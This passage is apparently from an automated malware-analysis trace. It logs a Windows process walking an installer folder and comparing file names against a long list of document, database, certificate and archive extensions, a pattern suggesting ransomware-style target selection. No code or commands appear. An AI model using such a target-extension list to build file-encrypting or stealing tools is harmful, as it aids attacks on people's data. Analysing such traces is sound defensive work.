[0050.624] lstrlenW (lpString=".emz") returned 4 [0050.625] lstrcmpiW (lpString1=".emz", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".epf") returned 4 [0050.625] lstrcmpiW (lpString1=".epf", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".eps") returned 4 [0050.625] lstrcmpiW (lpString1=".eps", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".epsf") returned 5 [0050.625] lstrcmpiW (lpString1=".epsf", lpString2="4.msi") returned -1 [0050.625] lstrlenW (lpString=".epsp") returned 5 [0050.625] lstrcmpiW (lpString1=".epsp", lpString2="4.msi") returned -1 [0050.625] lstrlenW (lpString=".erf") returned 4 [0050.625] lstrcmpiW (lpString1=".erf", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".exr") returned 4 [0050.625] lstrcmpiW (lpString1=".exr", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".f4v") returned 4 [0050.625] lstrcmpiW (lpString1=".f4v", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".fido") returned 5 [0050.625] lstrcmpiW (lpString1=".fido", lpString2="4.msi") returned -1 [0050.625] lstrlenW (lpString=".flm") returned 4 [0050.625] lstrcmpiW (lpString1=".flm", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".flv") returned 4 [0050.625] lstrcmpiW (lpString1=".flv", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".frm") returned 4 [0050.625] lstrcmpiW (lpString1=".frm", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".fxg") returned 4 [0050.625] lstrcmpiW (lpString1=".fxg", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".geo") returned 4 [0050.625] lstrcmpiW (lpString1=".geo", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".gif") returned 4 [0050.625] lstrcmpiW (lpString1=".gif", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".grs") returned 4 [0050.625] lstrcmpiW (lpString1=".grs", lpString2=".msi") returned -1 [0050.625] lstrlenW (lpString=".gz") returned 3 [0050.626] lstrcmpiW (lpString1=".gz", lpString2="msi") returned -1 [0050.626] lstrlenW (lpString=".h") returned 2 [0050.626] lstrcmpiW (lpString1=".h", lpString2="si") returned -1 [0050.626] lstrlenW (lpString=".hdr") returned 4 [0050.626] lstrcmpiW (lpString1=".hdr", lpString2=".msi") returned -1 [0050.626] lstrlenW (lpString=".hpp") returned 4 [0050.626] lstrcmpiW (lpString1=".hpp", lpString2=".msi") returned -1 [0050.626] lstrlenW (lpString=".hta") returned 4 [0050.626] lstrcmpiW (lpString1=".hta", lpString2=".msi") returned -1 [0050.626] lstrlenW (lpString=".htc") returned 4 [0050.626] lstrcmpiW (lpString1=".htc", lpString2=".msi") returned -1 [0050.626] lstrlenW (lpString=".htm") returned 4 [0050.626] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0050.626] lstrlenW (lpString=".html") returned 5 [0050.626] lstrcmpiW (lpString1=".html", lpString2="4.msi") returned -1 [0050.626] lstrlenW (lpString=".icb") returned 4 [0050.626] lstrcmpiW (lpString1=".icb", lpString2=".msi") returned -1 [0050.626] lstrlenW (lpString=".ics") returned 4 [0050.626] lstrcmpiW (lpString1=".ics", lpString2=".msi") returned -1 [0050.626] lstrlenW (lpString=".iff") returned 4 [0050.626] lstrcmpiW (lpString1=".iff", lpString2=".msi") returned -1 [0050.626] lstrlenW (lpString=".inc") returned 4 [0050.626] lstrcmpiW (lpString1=".inc", lpString2=".msi") returned -1 [0050.626] lstrlenW (lpString=".indd") returned 5 [0050.626] lstrcmpiW (lpString1=".indd", lpString2="4.msi") returned -1 [0050.626] lstrlenW (lpString=".ini") returned 4 [0050.626] lstrcmpiW (lpString1=".ini", lpString2=".msi") returned -1 [0050.626] lstrlenW (lpString=".iqy") returned 4 [0050.626] lstrcmpiW (lpString1=".iqy", lpString2=".msi") returned -1 [0050.626] lstrlenW (lpString=".j2c") returned 4 [0050.627] lstrcmpiW (lpString1=".j2c", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".j2k") returned 4 [0050.627] lstrcmpiW (lpString1=".j2k", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".java") returned 5 [0050.627] lstrcmpiW (lpString1=".java", lpString2="4.msi") returned -1 [0050.627] lstrlenW (lpString=".jp2") returned 4 [0050.627] lstrcmpiW (lpString1=".jp2", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".jpc") returned 4 [0050.627] lstrcmpiW (lpString1=".jpc", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".jpe") returned 4 [0050.627] lstrcmpiW (lpString1=".jpe", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".jpeg") returned 5 [0050.627] lstrcmpiW (lpString1=".jpeg", lpString2="4.msi") returned -1 [0050.627] lstrlenW (lpString=".jpf") returned 4 [0050.627] lstrcmpiW (lpString1=".jpf", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".jpg") returned 4 [0050.627] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".jpx") returned 4 [0050.627] lstrcmpiW (lpString1=".jpx", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".js") returned 3 [0050.627] lstrcmpiW (lpString1=".js", lpString2="msi") returned -1 [0050.627] lstrlenW (lpString=".jsf") returned 4 [0050.627] lstrcmpiW (lpString1=".jsf", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".json") returned 5 [0050.627] lstrcmpiW (lpString1=".json", lpString2="4.msi") returned -1 [0050.627] lstrlenW (lpString=".jsp") returned 4 [0050.627] lstrcmpiW (lpString1=".jsp", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".kdc") returned 4 [0050.627] lstrcmpiW (lpString1=".kdc", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".kmz") returned 4 [0050.627] lstrcmpiW (lpString1=".kmz", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".kwm") returned 4 [0050.627] lstrcmpiW (lpString1=".kwm", lpString2=".msi") returned -1 [0050.627] lstrlenW (lpString=".lasso") returned 6 [0050.628] lstrcmpiW (lpString1=".lasso", lpString2="64.msi") returned -1 [0050.628] lstrlenW (lpString=".lbi") returned 4 [0050.628] lstrcmpiW (lpString1=".lbi", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".lgf") returned 4 [0050.628] lstrcmpiW (lpString1=".lgf", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".lgp") returned 4 [0050.628] lstrcmpiW (lpString1=".lgp", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".log") returned 4 [0050.628] lstrcmpiW (lpString1=".log", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".m1v") returned 4 [0050.628] lstrcmpiW (lpString1=".m1v", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".m4a") returned 4 [0050.628] lstrcmpiW (lpString1=".m4a", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".m4v") returned 4 [0050.628] lstrcmpiW (lpString1=".m4v", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".max") returned 4 [0050.628] lstrcmpiW (lpString1=".max", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".md") returned 3 [0050.628] lstrcmpiW (lpString1=".md", lpString2="msi") returned -1 [0050.628] lstrlenW (lpString=".mda") returned 4 [0050.628] lstrcmpiW (lpString1=".mda", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".mdb") returned 4 [0050.628] lstrcmpiW (lpString1=".mdb", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".mde") returned 4 [0050.628] lstrcmpiW (lpString1=".mde", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".mdf") returned 4 [0050.628] lstrcmpiW (lpString1=".mdf", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".mdw") returned 4 [0050.628] lstrcmpiW (lpString1=".mdw", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".mef") returned 4 [0050.628] lstrcmpiW (lpString1=".mef", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".mft") returned 4 [0050.628] lstrcmpiW (lpString1=".mft", lpString2=".msi") returned -1 [0050.628] lstrlenW (lpString=".mfw") returned 4 [0050.628] lstrcmpiW (lpString1=".mfw", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".mht") returned 4 [0050.629] lstrcmpiW (lpString1=".mht", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".mhtml") returned 6 [0050.629] lstrcmpiW (lpString1=".mhtml", lpString2="64.msi") returned -1 [0050.629] lstrlenW (lpString=".mka") returned 4 [0050.629] lstrcmpiW (lpString1=".mka", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".mkidx") returned 6 [0050.629] lstrcmpiW (lpString1=".mkidx", lpString2="64.msi") returned -1 [0050.629] lstrlenW (lpString=".mkv") returned 4 [0050.629] lstrcmpiW (lpString1=".mkv", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".mos") returned 4 [0050.629] lstrcmpiW (lpString1=".mos", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".mov") returned 4 [0050.629] lstrcmpiW (lpString1=".mov", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".mp3") returned 4 [0050.629] lstrcmpiW (lpString1=".mp3", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".mp4") returned 4 [0050.629] lstrcmpiW (lpString1=".mp4", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".mpeg") returned 5 [0050.629] lstrcmpiW (lpString1=".mpeg", lpString2="4.msi") returned -1 [0050.629] lstrlenW (lpString=".mpg") returned 4 [0050.629] lstrcmpiW (lpString1=".mpg", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".mpv") returned 4 [0050.629] lstrcmpiW (lpString1=".mpv", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".mrw") returned 4 [0050.629] lstrcmpiW (lpString1=".mrw", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".msg") returned 4 [0050.629] lstrcmpiW (lpString1=".msg", lpString2=".msi") returned -1 [0050.629] lstrlenW (lpString=".mxl") returned 4 [0050.629] lstrcmpiW (lpString1=".mxl", lpString2=".msi") returned 1 [0050.629] lstrlenW (lpString=".myd") returned 4 [0050.629] lstrcmpiW (lpString1=".myd", lpString2=".msi") returned 1 [0050.629] lstrlenW (lpString=".myi") returned 4 [0050.629] lstrcmpiW (lpString1=".myi", lpString2=".msi") returned 1 [0050.629] lstrlenW (lpString=".nef") returned 4 [0050.630] lstrcmpiW (lpString1=".nef", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".nrw") returned 4 [0050.630] lstrcmpiW (lpString1=".nrw", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".obj") returned 4 [0050.630] lstrcmpiW (lpString1=".obj", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".odb") returned 4 [0050.630] lstrcmpiW (lpString1=".odb", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".odc") returned 4 [0050.630] lstrcmpiW (lpString1=".odc", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".odm") returned 4 [0050.630] lstrcmpiW (lpString1=".odm", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".odp") returned 4 [0050.630] lstrcmpiW (lpString1=".odp", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".ods") returned 4 [0050.630] lstrcmpiW (lpString1=".ods", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".oft") returned 4 [0050.630] lstrcmpiW (lpString1=".oft", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".one") returned 4 [0050.630] lstrcmpiW (lpString1=".one", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".onepkg") returned 7 [0050.630] lstrcmpiW (lpString1=".onepkg", lpString2="x64.msi") returned -1 [0050.630] lstrlenW (lpString=".onetoc2") returned 8 [0050.630] lstrcmpiW (lpString1=".onetoc2", lpString2="_x64.msi") returned -1 [0050.630] lstrlenW (lpString=".opt") returned 4 [0050.630] lstrcmpiW (lpString1=".opt", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".oqy") returned 4 [0050.630] lstrcmpiW (lpString1=".oqy", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".orf") returned 4 [0050.630] lstrcmpiW (lpString1=".orf", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".p12") returned 4 [0050.630] lstrcmpiW (lpString1=".p12", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".p7b") returned 4 [0050.630] lstrcmpiW (lpString1=".p7b", lpString2=".msi") returned 1 [0050.630] lstrlenW (lpString=".p7c") returned 4 [0050.631] lstrcmpiW (lpString1=".p7c", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pam") returned 4 [0050.631] lstrcmpiW (lpString1=".pam", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pbm") returned 4 [0050.631] lstrcmpiW (lpString1=".pbm", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pct") returned 4 [0050.631] lstrcmpiW (lpString1=".pct", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pcx") returned 4 [0050.631] lstrcmpiW (lpString1=".pcx", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pdd") returned 4 [0050.631] lstrcmpiW (lpString1=".pdd", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pdf") returned 4 [0050.631] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pdp") returned 4 [0050.631] lstrcmpiW (lpString1=".pdp", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pef") returned 4 [0050.631] lstrcmpiW (lpString1=".pef", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pem") returned 4 [0050.631] lstrcmpiW (lpString1=".pem", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pff") returned 4 [0050.631] lstrcmpiW (lpString1=".pff", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pfm") returned 4 [0050.631] lstrcmpiW (lpString1=".pfm", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pfx") returned 4 [0050.631] lstrcmpiW (lpString1=".pfx", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".pgm") returned 4 [0050.631] lstrcmpiW (lpString1=".pgm", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".php") returned 4 [0050.631] lstrcmpiW (lpString1=".php", lpString2=".msi") returned 1 [0050.631] lstrlenW (lpString=".php3") returned 5 [0050.631] lstrcmpiW (lpString1=".php3", lpString2="4.msi") returned -1 [0050.631] lstrlenW (lpString=".php4") returned 5 [0050.631] lstrcmpiW (lpString1=".php4", lpString2="4.msi") returned -1 [0050.631] lstrlenW (lpString=".php5") returned 5 [0050.631] lstrcmpiW (lpString1=".php5", lpString2="4.msi") returned -1 [0050.632] lstrlenW (lpString=".phtml") returned 6 [0050.632] lstrcmpiW (lpString1=".phtml", lpString2="64.msi") returned -1 [0050.632] lstrlenW (lpString=".pict") returned 5 [0050.632] lstrcmpiW (lpString1=".pict", lpString2="4.msi") returned -1 [0050.632] lstrlenW (lpString=".pl") returned 3 [0050.632] lstrcmpiW (lpString1=".pl", lpString2="msi") returned -1 [0050.632] lstrlenW (lpString=".pls") returned 4 [0050.632] lstrcmpiW (lpString1=".pls", lpString2=".msi") returned 1 [0050.632] lstrlenW (lpString=".pm") returned 3 [0050.632] lstrcmpiW (lpString1=".pm", lpString2="msi") returned -1 [0050.632] lstrlenW (lpString=".png") returned 4 [0050.632] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0050.632] lstrlenW (lpString=".pnm") returned 4 [0050.632] lstrcmpiW (lpString1=".pnm", lpString2=".msi") returned 1 [0050.632] lstrlenW (lpString=".pot") returned 4 [0050.632] lstrcmpiW (lpString1=".pot", lpString2=".msi") returned 1 [0050.632] lstrlenW (lpString=".potm") returned 5 [0050.632] lstrcmpiW (lpString1=".potm", lpString2="4.msi") returned -1 [0050.632] lstrlenW (lpString=".potx") returned 5 [0050.632] lstrcmpiW (lpString1=".potx", lpString2="4.msi") returned -1 [0050.632] lstrlenW (lpString=".ppa") returned 4 [0050.632] lstrcmpiW (lpString1=".ppa", lpString2=".msi") returned 1 [0050.632] lstrlenW (lpString=".ppam") returned 5 [0050.632] lstrcmpiW (lpString1=".ppam", lpString2="4.msi") returned -1 [0050.632] lstrlenW (lpString=".ppm") returned 4 [0050.632] lstrcmpiW (lpString1=".ppm", lpString2=".msi") returned 1 [0050.632] lstrlenW (lpString=".pps") returned 4 [0050.632] lstrcmpiW (lpString1=".pps", lpString2=".msi") returned 1 [0050.632] lstrlenW (lpString=".ppsm") returned 5 [0050.632] lstrcmpiW (lpString1=".ppsm", lpString2="4.msi") returned -1 [0050.632] lstrlenW (lpString=".ppt") returned 4 [0050.632] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.632] lstrlenW (lpString=".pptm") returned 5 [0050.632] lstrcmpiW (lpString1=".pptm", lpString2="4.msi") returned -1 [0050.632] lstrlenW (lpString=".pptx") returned 5 [0050.633] lstrcmpiW (lpString1=".pptx", lpString2="4.msi") returned -1 [0050.633] lstrlenW (lpString=".prn") returned 4 [0050.633] lstrcmpiW (lpString1=".prn", lpString2=".msi") returned 1 [0050.633] lstrlenW (lpString=".ps") returned 3 [0050.633] lstrcmpiW (lpString1=".ps", lpString2="msi") returned -1 [0050.633] lstrlenW (lpString=".psb") returned 4 [0050.633] lstrcmpiW (lpString1=".psb", lpString2=".msi") returned 1 [0050.633] lstrlenW (lpString=".psd") returned 4 [0050.633] lstrcmpiW (lpString1=".psd", lpString2=".msi") returned 1 [0050.633] lstrlenW (lpString=".pst") returned 4 [0050.633] lstrcmpiW (lpString1=".pst", lpString2=".msi") returned 1 [0050.633] lstrlenW (lpString=".ptx") returned 4 [0050.633] lstrcmpiW (lpString1=".ptx", lpString2=".msi") returned 1 [0050.633] lstrlenW (lpString=".pub") returned 4 [0050.633] lstrcmpiW (lpString1=".pub", lpString2=".msi") returned 1 [0050.633] lstrlenW (lpString=".pwm") returned 4 [0050.633] lstrcmpiW (lpString1=".pwm", lpString2=".msi") returned 1 [0050.633] lstrlenW (lpString=".pxr") returned 4 [0050.633] lstrcmpiW (lpString1=".pxr", lpString2=".msi") returned 1 [0050.633] lstrlenW (lpString=".py") returned 3 [0050.633] lstrcmpiW (lpString1=".py", lpString2="msi") returned -1 [0050.633] lstrlenW (lpString=".qt") returned 3 [0050.633] lstrcmpiW (lpString1=".qt", lpString2="msi") returned -1 [0050.633] lstrlenW (lpString=".r3d") returned 4 [0050.633] lstrcmpiW (lpString1=".r3d", lpString2=".msi") returned 1 [0050.633] lstrlenW (lpString=".raf") returned 4 [0050.633] lstrcmpiW (lpString1=".raf", lpString2=".msi") returned 1 [0050.633] lstrlenW (lpString=".rar") returned 4 [0050.633] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.633] lstrlenW (lpString=".raw") returned 4 [0050.633] lstrcmpiW (lpString1=".raw", lpString2=".msi") returned 1 [0050.633] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0050.634] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0050.634] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0050.634] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0050.634] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0050.634] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0050.634] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0050.634] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0050.635] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0050.635] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0050.635] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0050.635] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0050.635] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0050.635] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0050.635] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0050.635] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, 